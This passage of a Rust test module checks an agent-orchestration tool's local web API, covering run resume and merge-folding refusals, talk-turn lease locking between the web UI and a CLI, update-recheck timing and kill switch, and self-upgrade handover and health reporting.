19691 &format!("/api/runs/{id}/fold-merged"),
19692 Some(r#"{"pr_url":" "}"#),
19693 )
19694 .await;
19695 assert_eq!(blank.status, 400, "{}", blank.body);
19696 }
19697
19698 #[tokio::test]
19699 async fn fold_merged_is_404_for_an_unknown_run() {
19700 let fx = Fixture::start().await;
19701 let res = fx
19702 .post(
19703 "/api/runs/nosuchrun/fold-merged",
19704 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19705 )
19706 .await;
19707 assert_eq!(res.status, 404, "{}", res.body);
19708 }
19709
19710 #[tokio::test]
19711 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19712 let fx = Fixture::start().await;
19713 let runs = fx.runs();
19714 let id = "20260901-000000-livemerge";
19715 write_run(&runs, id, RunStatus::Blocked);
19716
19717 let mut beat = crate::daemon::Status::new();
19718 beat.current = vec![crate::daemon::Current {
19719 task: "20260901-000000-task".to_owned(),
19720 run: id.to_owned(),
19721 }];
19722 beat.updated_at = jiff::Timestamp::now();
19723 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19724 .expect("publish a heartbeat");
19725
19726 let res = fx
19727 .post(
19728 &format!("/api/runs/{id}/fold-merged"),
19729 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19730 )
19731 .await;
19732 assert_eq!(res.status, 409, "{}", res.body);
19733 assert!(
19734 res.json()["error"]
19735 .as_str()
19736 .unwrap()
19737 .contains("live daemon"),
19738 "correcting a run's merge underneath a running agent would race \
19739 whatever it is doing to the same `status`/`merge` fields"
19740 );
19741 }
19742
19743 #[tokio::test]
19748 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19749 let fx = Fixture::start().await;
19750 let runs = fx.runs();
19751 let id = "20260901-000000-unconfirmed";
19752 write_run(&runs, id, RunStatus::Blocked);
19753
19754 let res = fx
19755 .post(
19756 &format!("/api/runs/{id}/fold-merged"),
19757 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19758 )
19759 .await;
19760 assert_eq!(res.status, 400, "{}", res.body);
19761 assert_eq!(
19762 read_run(&runs, id).unwrap().status,
19763 RunStatus::Blocked,
19764 "a pull request that could not be confirmed merged must leave \
19765 the run exactly where it was"
19766 );
19767 }
19768
19769 #[tokio::test]
19770 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19771 let fx = Fixture::start().await;
19772 let runs = fx.runs();
19773
19774 for (status, word) in [
19780 (RunStatus::Merged, "merged"),
19781 (RunStatus::Ready, "ready"),
19782 (RunStatus::Failed, "failed"),
19783 ] {
19784 let id = format!("20260901-000000-{}", &word[..4]);
19785 write_run(&runs, &id, status);
19786 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19787 assert_eq!(res.status, 409, "{word} must not be resumable");
19788 let err = res.json()["error"].as_str().unwrap().to_owned();
19789 assert!(err.contains(word), "the refusal names the status: {err}");
19790 }
19791
19792 let mid = "20260901-000000-midf";
19797 write_run(&runs, mid, RunStatus::Reviewing);
19798 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19799 assert_eq!(res.status, 202, "an interrupted run is resumable");
19800 }
19801
19802 #[tokio::test]
19803 async fn resume_is_refused_while_the_loop_is_running() {
19804 let fx = Fixture::start().await;
19805 let runs = fx.runs();
19806 let stalled = "20260901-000000-stal";
19807 write_run(&runs, stalled, RunStatus::Stalled);
19808
19809 let mut beat = crate::daemon::Status::new();
19813 beat.current = vec![crate::daemon::Current {
19814 task: "20260901-000000-task".to_owned(),
19815 run: "20260901-000000-othr".to_owned(),
19816 }];
19817 beat.updated_at = jiff::Timestamp::now();
19818 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19819 .expect("publish a heartbeat");
19820
19821 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19822 assert_eq!(res.status, 409);
19823 let err = res.json()["error"].as_str().unwrap().to_owned();
19824 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19825 assert!(err.contains("stop it first"), "{err}");
19826 }
19827
19828 #[test]
19829 fn a_run_cannot_be_resumed_twice_at_once() {
19830 let home = TempDir::new().expect("temp home");
19831 let ui = Ui::new(
19832 Queue::at(home.path().join("queue")),
19833 Questions::at(home.path().join("questions")),
19834 Talks::at(home.path().join("talks")),
19835 home.path().join("runs"),
19836 home.path().to_path_buf(),
19837 PathBuf::from("/repo"),
19838 )
19839 .with_worktrees_root(home.path().join("wt"));
19840 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19841 let again = ui.begin_resume("20260901-000000-once");
19842 assert!(again.is_err(), "a second tap must not start a second graph");
19843 drop(first);
19844 assert!(
19845 ui.begin_resume("20260901-000000-once").is_ok(),
19846 "and the claim is released when the attempt ends"
19847 );
19848 }
19849
19850 #[test]
19851 fn talk_thinking_tracks_only_its_held_turn_claim() {
19852 let home = TempDir::new().expect("temp home");
19853 let ui = Ui::new(
19854 Queue::at(home.path().join("queue")),
19855 Questions::at(home.path().join("questions")),
19856 Talks::at(home.path().join("talks")),
19857 home.path().join("runs"),
19858 home.path().to_path_buf(),
19859 PathBuf::from("/repo"),
19860 )
19861 .with_worktrees_root(home.path().join("wt"));
19862 let id = "20260901-000000-once";
19863
19864 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19865 let turn = ui.begin_talk_turn(id).expect("claim turn");
19866 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19867 assert!(
19868 !ui.is_thinking("20260901-000000-other"),
19869 "one talk's turn does not make another talk busy"
19870 );
19871 drop(turn);
19872 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19873 }
19874
19875 #[test]
19876 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19877 let home = TempDir::new().expect("temp home");
19878 let talks = Talks::at(home.path().join("talks"));
19879 let ui = Ui::new(
19880 Queue::at(home.path().join("queue")),
19881 Questions::at(home.path().join("questions")),
19882 talks.clone(),
19883 home.path().join("runs"),
19884 home.path().to_path_buf(),
19885 PathBuf::from("/repo"),
19886 )
19887 .with_worktrees_root(home.path().join("wt"));
19888 let id = "20260901-000000-cross";
19889
19890 let other = Talks::at(home.path().join("talks"))
19891 .claim_turn(id)
19892 .expect("claim")
19893 .expect("the other process wins");
19894 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19895 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19896 assert!(
19897 matches!(
19898 ui.begin_talk_turn_unless_pending(id).expect("start"),
19899 TalkTurnStart::Foreign
19900 ),
19901 "a foreign holder is refused, not queued behind"
19902 );
19903 assert!(
19904 !ui.talk_turns.lock().unwrap().live.contains(id),
19905 "a refused claim leaves no in-process entry behind"
19906 );
19907 drop(other);
19908 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19909 assert!(talks.turn_held(id), "the web turn holds the lease");
19910 drop(turn);
19911 assert!(
19912 !talks.turn_held(id),
19913 "dropping the guard releases the lease"
19914 );
19915 }
19916
19917 fn consult_question(ui: &Ui) -> Question {
19918 let mut q = Question::new(
19919 "20260901-000000-consult".to_owned(),
19920 "implement".to_owned(),
19921 "impl-A".to_owned(),
19922 "Which backend?".to_owned(),
19923 String::new(),
19924 vec!["SQLite".to_owned(), "Redis".to_owned()],
19925 );
19926 ui.questions.put(&mut q).expect("question");
19927 q
19928 }
19929
19930 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19931 (
19932 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19933 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19934 )
19935 }
19936
19937 #[tokio::test]
19938 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19939 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19940 let q = consult_question(&ui);
19941 let talk = ui.talks.get(&id).expect("talk");
19942 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19943 let before = consult_snapshot(&ui, &q, &id);
19944 let cli_talks = Talks::at(ui.home.join("talks"));
19945 assert_eq!(
19946 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19947 .await
19948 .expect("CLI starter"),
19949 crate::consult::Started::Busy
19950 );
19951 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19952 assert!(ui.is_thinking(&id));
19953 drop(guard);
19954 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19955 }
19956
19957 #[tokio::test]
19958 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19959 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19960 let q = consult_question(&ui);
19961 let talk = ui.talks.get(&id).expect("talk");
19962 let started = tmp.path().join("started");
19963 let release = tmp.path().join("release");
19964 let script = tmp.path().join("consult-agent.sh");
19965 std::fs::write(
19966 &script,
19967 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19968 )
19969 .expect("script");
19970 let mut cfg = stub_config();
19971 cfg.agents[0].id = "mock".to_owned();
19972 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19973 cfg.agents[0].env = std::collections::BTreeMap::from([
19974 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19975 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19976 ]);
19977 let questions = ui.questions.clone();
19978 let cli_talks = Talks::at(ui.home.join("talks"));
19979 let cli_q = q.clone();
19980 let turn = tokio::spawn(async move {
19981 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19982 });
19983 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19984 while !started.exists() {
19985 tokio::time::sleep(Duration::from_millis(10)).await;
19986 }
19987 })
19988 .await;
19989 let refusal = if ready.is_ok() {
19992 let before = consult_snapshot(&ui, &q, &id);
19993 let result = talk_say(
19994 State(Arc::clone(&ui)),
19995 Path(id.clone()),
19996 Ok(Json(NewTalkTurn {
19997 reply_to: None,
19998 text: "another message".to_owned(),
19999 attachments: Vec::new(),
20000 })),
20001 )
20002 .await;
20003 Some((result, before, consult_snapshot(&ui, &q, &id)))
20004 } else {
20005 None
20006 };
20007 std::fs::write(&release, "").expect("release agent");
20008 let done = turn.await.expect("join CLI turn");
20009 ready.expect("agent started before deadline");
20010 let (result, before, after) = refusal.expect("web request");
20011 let error = result.expect_err("web must refuse the CLI's turn");
20012 assert_eq!(error.status, StatusCode::CONFLICT);
20013 assert!(error.message.contains("a turn is already running"));
20014 assert_eq!(
20015 after, before,
20016 "refusal preserves question, draft and history"
20017 );
20018 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20019 let guard = ui
20020 .begin_talk_turn(&id)
20021 .expect("web claim")
20022 .expect("free again");
20023 drop(guard);
20024 }
20025
20026 #[test]
20027 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20028 let home = TempDir::new().expect("temp home");
20029 let talks = Talks::at(home.path().join("talks"));
20030 let ui = Ui::new(
20031 Queue::at(home.path().join("queue")),
20032 Questions::at(home.path().join("questions")),
20033 talks.clone(),
20034 home.path().join("runs"),
20035 home.path().to_path_buf(),
20036 PathBuf::from("/repo"),
20037 )
20038 .with_worktrees_root(home.path().join("wt"));
20039 let id = "20260901-000000-order";
20040 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20041 let slots = ui.talk_turns.lock().unwrap();
20043 let dropper = std::thread::spawn(move || drop(turn));
20044 let start = std::time::Instant::now();
20045 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20046 std::thread::sleep(Duration::from_millis(5));
20047 }
20048 assert!(!talks.turn_held(id), "the lease is released first");
20049 assert!(slots.live.contains(id), "the slot is still held meanwhile");
20050 drop(slots);
20051 dropper.join().expect("join");
20052 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20053 }
20054
20055 #[tokio::test]
20056 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20057 let fx = Fixture::start().await;
20058 let mut beat = crate::daemon::Status::new();
20062 beat.pid = 4321;
20063 beat.updated_at = jiff::Timestamp::now();
20064 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20065 .expect("publish a heartbeat");
20066
20067 let res = fx.post("/api/upgrade", None).await;
20068 assert_eq!(res.status, 409);
20069 let err = res.json()["error"].as_str().unwrap().to_owned();
20070 assert!(err.contains("4321"), "the refusal names the owner: {err}");
20071 assert!(err.contains("old one against the same queue"), "{err}");
20072 }
20073
20074 #[test]
20081 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20082 assert!(!should_spawn_recheck(&crate::config::Update {
20083 mode: UpdateMode::Off,
20084 interval: None,
20085 }));
20086
20087 unsafe {
20090 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20091 }
20092 let killed = should_spawn_recheck(&crate::config::Update {
20093 mode: UpdateMode::Notify,
20094 interval: None,
20095 });
20096 unsafe {
20097 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20098 }
20099 assert!(
20100 !killed,
20101 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20102 one-time startup check"
20103 );
20104
20105 assert!(should_spawn_recheck(&crate::config::Update {
20106 mode: UpdateMode::Notify,
20107 interval: None,
20108 }));
20109 }
20110
20111 #[test]
20117 fn recheck_poll_period_tracks_a_short_configured_interval() {
20118 let short = crate::config::Update {
20119 mode: UpdateMode::Notify,
20120 interval: Some("1m".to_owned()),
20121 };
20122 let period = recheck_poll_period(&short);
20123 assert!(
20124 period <= Duration::from_secs(30),
20125 "a one-minute interval must wake the task far sooner than the \
20126 default ceiling, or the deck would not notice within the \
20127 interval the operator configured: got {period:?}"
20128 );
20129
20130 let default = crate::config::Update {
20131 mode: UpdateMode::Notify,
20132 interval: None,
20133 };
20134 assert_eq!(
20135 recheck_poll_period(&default),
20136 UPDATE_RECHECK_POLL_MAX,
20137 "the default day-long interval should poll at the (capped) \
20138 ceiling rather than needlessly often"
20139 );
20140 }
20141
20142 #[test]
20150 fn recheck_skips_the_network_before_the_interval_elapses() {
20151 let dir = TempDir::new().expect("temp dir");
20152 let path = dir.path().join("state.json");
20153 let state = kaishin::UpdateCheckState {
20154 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20155 last_known_latest: None,
20156 last_known_url: None,
20157 };
20158 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20159
20160 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20161 assert!(
20162 !update_recheck_due(&checker, None),
20163 "a check made moments ago must not be repeated before the \
20164 configured interval elapses"
20165 );
20166 }
20167
20168 #[test]
20174 fn recheck_defers_to_an_upgrade_already_in_flight() {
20175 let dir = TempDir::new().expect("temp dir");
20176 let path = dir.path().join("state.json");
20177 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20178 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20179
20180 assert!(
20181 !update_recheck_due(&checker, Some(&progress)),
20182 "a recheck must not run while an upgrade this deck started is \
20183 still moving"
20184 );
20185 }
20186
20187 #[tokio::test]
20188 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20189 unsafe {
20201 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20202 }
20203 let fx = Fixture::start().await;
20204 let res = fx.post("/api/upgrade", None).await;
20205 unsafe {
20206 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20207 }
20208 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20209 let body = res.json();
20210 assert!(body["to"].is_null(), "there was no release to move to");
20211 assert!(body["parked"].is_null(), "and nothing was parked");
20212 assert!(
20213 body["detail"]
20214 .as_str()
20215 .unwrap()
20216 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20217 "{body:?}"
20218 );
20219 }
20220
20221 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20222 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20223 p.stage = stage;
20224 p
20225 }
20226
20227 #[test]
20228 fn busy_stages_match_the_ui_set() {
20229 use crate::updater::Stage;
20230 assert!(APP_JS.contains(
20231 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20232 ));
20233 for s in [
20234 Stage::Downloading,
20235 Stage::Replaced,
20236 Stage::Parking,
20237 Stage::Restarting,
20238 ] {
20239 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20240 }
20241 for s in [Stage::Done, Stage::Failed] {
20242 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20243 }
20244 assert!(upgrade_in_motion(None).is_none());
20245 }
20246
20247 #[tokio::test]
20248 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20249 use crate::updater::Stage;
20250 for stage in [
20251 Stage::Downloading,
20252 Stage::Replaced,
20253 Stage::Parking,
20254 Stage::Restarting,
20255 ] {
20256 let fx = Fixture::start().await;
20257 let seeded = seeded_progress(stage);
20258 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20259 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20260 .expect("read");
20261
20262 let res = fx.post("/api/upgrade", None).await;
20263 assert_eq!(res.status, 409, "{stage:?}");
20264 let err = res.json()["error"].as_str().unwrap().to_owned();
20265 assert!(err.contains("already in progress"), "{err}");
20266 assert!(err.contains(stage.as_str()), "{err}");
20267
20268 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20269 .expect("read");
20270 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20271 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20272 .unwrap_or_default();
20273 assert!(!log.contains("signalling HANDOVER"), "{log}");
20274 }
20275 }
20276
20277 #[test]
20278 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20279 assert_eq!(
20280 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20281 Some(3723)
20282 );
20283 assert_eq!(
20284 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20285 Some(60)
20286 );
20287 assert_eq!(
20288 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20289 Some(0)
20290 );
20291 for message in [
20292 "permission denied",
20293 "GitHub API rate limit exceeded",
20294 "GitHub rate limit (resets in unknown)",
20295 "GitHub rate limit (resets in 18446744073709551615d)",
20296 ] {
20297 assert_eq!(upgrade_retry_after(message), None, "{message}");
20298 }
20299 }
20300
20301 #[tokio::test]
20302 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20303 let home = TempDir::new().unwrap();
20304 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20305 ui.start_loop(None).unwrap();
20306 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20307 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20308 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20309 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20310 let response = finish_upgrade_request(&ui, result);
20311 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20312 assert_eq!(response.headers()["retry-after"], "120");
20313 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20314 .await
20315 .unwrap();
20316 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20317 assert!(body["error"].as_str().unwrap().contains(reason));
20318 assert_eq!(body["retry_after_secs"], 120);
20319 assert!(body["retry_at"].as_u64().is_some());
20320 for _ in 0..2 {
20321 let view = health(State(ui.clone())).await.unwrap().0;
20322 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20323 assert_eq!(failure, body);
20324 }
20325 assert_eq!(
20326 std::fs::read(updater::progress_path(home.path())).unwrap(),
20327 before
20328 );
20329 assert!(!ui.lock_loop().resume_after_handover);
20330 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20331 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20332 let gate = ui.upgrade_gate.lock().await;
20334 assert_eq!(
20335 upgrade_post(State(ui.clone())).await.status(),
20336 StatusCode::CONFLICT
20337 );
20338 drop(gate);
20339 assert!(
20340 health(State(ui.clone()))
20341 .await
20342 .unwrap()
20343 .0
20344 .upgrade_request_error
20345 .is_some()
20346 );
20347 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20348 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20349 assert!(
20350 health(State(ui.clone()))
20351 .await
20352 .unwrap()
20353 .0
20354 .upgrade_request_error
20355 .is_none()
20356 );
20357 let live = ui.lock_loop().live.take().unwrap();
20358 live.stop.stop();
20359 live.handle.await.unwrap();
20360 }
20361
20362 #[tokio::test]
20363 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20364 use crate::updater::Stage;
20365 let repo = TempDir::new().expect("repo dir");
20366 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20367 .expect("write magi.toml");
20368 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20369 for stage in [Stage::Done, Stage::Failed] {
20370 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20371 let res = fx.post("/api/upgrade", None).await;
20372 assert_eq!(res.status, 200, "{stage:?}");
20373 }
20374 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20376 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20377 }
20378
20379 #[tokio::test]
20380 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20381 let repo = TempDir::new().expect("repo dir");
20397 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20398 .expect("write magi.toml");
20399 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20400
20401 let res = fx.post("/api/upgrade", None).await;
20407 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20408 let body = res.json();
20409 assert!(body["to"].is_null(), "there was no release to move to");
20410 assert!(body["parked"].is_null(), "and nothing was parked");
20411 assert!(
20412 body["detail"]
20413 .as_str()
20414 .unwrap()
20415 .contains("nothing restarted"),
20416 "{body:?}"
20417 );
20418 }
20419
20420 #[tokio::test]
20421 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20422 let repo = TempDir::new().expect("repo dir");
20427 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20428 .expect("write magi.toml");
20429 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20430
20431 let health = fx.get("/api/health").await.json();
20432 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20433 assert_eq!(
20434 health["update"]["available"], false,
20435 "checking is off, which reads as \"unknown\", not \"none\""
20436 );
20437 assert!(health["update"]["to"].is_null());
20438 assert!(
20439 health["upgrade"].is_null(),
20440 "nothing has ever asked this deck to upgrade"
20441 );
20442 }
20443
20444 #[tokio::test]
20445 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20446 let fx = Fixture::start().await;
20447 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20448
20449 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20450 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20451 progress.advance(crate::updater::Stage::Parking);
20452 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20453
20454 let health = fx.get("/api/health").await.json();
20455 assert_eq!(health["upgrade"]["stage"], "parking");
20456 assert_eq!(health["upgrade"]["from"], "0.5.1");
20457 assert_eq!(health["upgrade"]["to"], "0.5.2");
20458 let waiting_on = health["upgrade"]["waiting_on"]
20459 .as_str()
20460 .expect("waiting_on is set while parking a known run");
20461 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20462 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20463 }
20464
20465 #[tokio::test]
20466 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20467 let fx = Fixture::start().await;
20468 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20469 progress.advance(crate::updater::Stage::Done);
20470 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20471
20472 let health = fx.get("/api/health").await.json();
20473 assert_eq!(health["upgrade"]["stage"], "done");
20474 assert!(
20475 health["upgrade"]["waiting_on"].is_null(),
20476 "nothing to wait on once it is done"
20477 );
20478 }
20479
20480 #[tokio::test]
20481 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20482 let home = TempDir::new().expect("temp home");
20483 let runs = home.path().join("runs");
20484 std::fs::create_dir_all(&runs).expect("runs dir");
20485 let ui = Ui::new(
20486 Queue::at(home.path().join("queue")),
20487 Questions::at(home.path().join("questions")),
20488 Talks::at(home.path().join("talks")),
20489 runs,
20490 home.path().to_path_buf(),
20491 PathBuf::from("/repo/magi"),
20492 )
20493 .with_launch(launch_idle);
20494 let looping = ui.looping();
20495 let turns = ui.turns();
20496 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20497 .await
20498 .expect("bind loopback");
20499 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20500
20501 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20502 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20503
20504 hand_over(
20505 home.path(),
20506 &looping,
20507 &turns,
20508 &|_: &[String]| Duration::from_secs(5),
20509 served,
20510 |_| Ok(1),
20511 )
20512 .await
20513 .expect("hand over");
20514
20515 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20516 assert_eq!(
20517 after.stage,
20518 crate::updater::Stage::Restarting,
20519 "hand_over owns the record through parking and up to restarting; \
20520 the successor is what finishes it"
20521 );
20522 }
20523
20524 #[tokio::test]
20527 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20528 for fail in [false, true] {
20529 let home = TempDir::new().expect("temp home");
20530 let ui = idle_ui(&home);
20531 let looping = ui.looping();
20532 let turns = ui.turns();
20533 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20534 .await
20535 .expect("bind loopback");
20536 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20537 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20538 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20539
20540 let calls = std::sync::atomic::AtomicUsize::new(0);
20541 let outcome = hand_over(
20542 home.path(),
20543 &looping,
20544 &turns,
20545 &|_: &[String]| Duration::from_secs(5),
20546 served,
20547 |_| {
20548 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20549 if fail {
20550 anyhow::bail!("no exec")
20551 } else {
20552 Ok(4242)
20553 }
20554 },
20555 )
20556 .await;
20557 assert_eq!(outcome.is_err(), fail);
20558 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20559
20560 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20561 .expect("upgrade.log is written under the home");
20562 for step in [
20563 "entered",
20564 "finish_loop",
20565 "listener released",
20566 "starting the successor",
20567 ] {
20568 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20569 }
20570 assert!(
20571 log.contains(if fail { "did not start" } else { "pid 4242" }),
20572 "{log}"
20573 );
20574 }
20575 }
20576
20577 #[tokio::test]
20580 async fn the_handover_signal_wakes_one_waiter_once() {
20581 let signal = Notify::new();
20582 signal.notify_one();
20584 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20585 .await
20586 .expect("an early signal is still seen");
20587 assert!(
20589 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20590 .await
20591 .is_err(),
20592 "a consumed signal must not wake a second time"
20593 );
20594 let signal = std::sync::Arc::new(signal);
20596 let waiter = tokio::spawn({
20597 let signal = std::sync::Arc::clone(&signal);
20598 async move { wait_for_handover(&signal).await }
20599 });
20600 tokio::time::sleep(Duration::from_millis(20)).await;
20601 assert!(!waiter.is_finished(), "nothing was signalled yet");
20602 signal.notify_one();
20603 tokio::time::timeout(Duration::from_secs(5), waiter)
20604 .await
20605 .expect("a late signal wakes the waiter")
20606 .expect("join");
20607 }
20608
20609 #[tokio::test]
20610 async fn health_says_how_long_a_handover_has_been_stuck() {
20611 let fx = Fixture::start().await;
20612 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20613 progress.advance(crate::updater::Stage::Replaced);
20614 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20615 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20616
20617 let health = fx.get("/api/health").await.json();
20618 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20619 assert!(stuck >= 600, "{stuck}");
20620 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20621 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20622 }
20623
20624 #[tokio::test]
20625 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20626 let home = tempfile::tempdir().expect("temp home");
20627 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20628 progress.advance(crate::updater::Stage::Parking);
20629 crate::updater::write_progress(home.path(), &progress).expect("seed");
20630 let mut again = progress.clone();
20632 again.advance(crate::updater::Stage::Replaced);
20633 crate::updater::write_progress(home.path(), &again).expect("replaced");
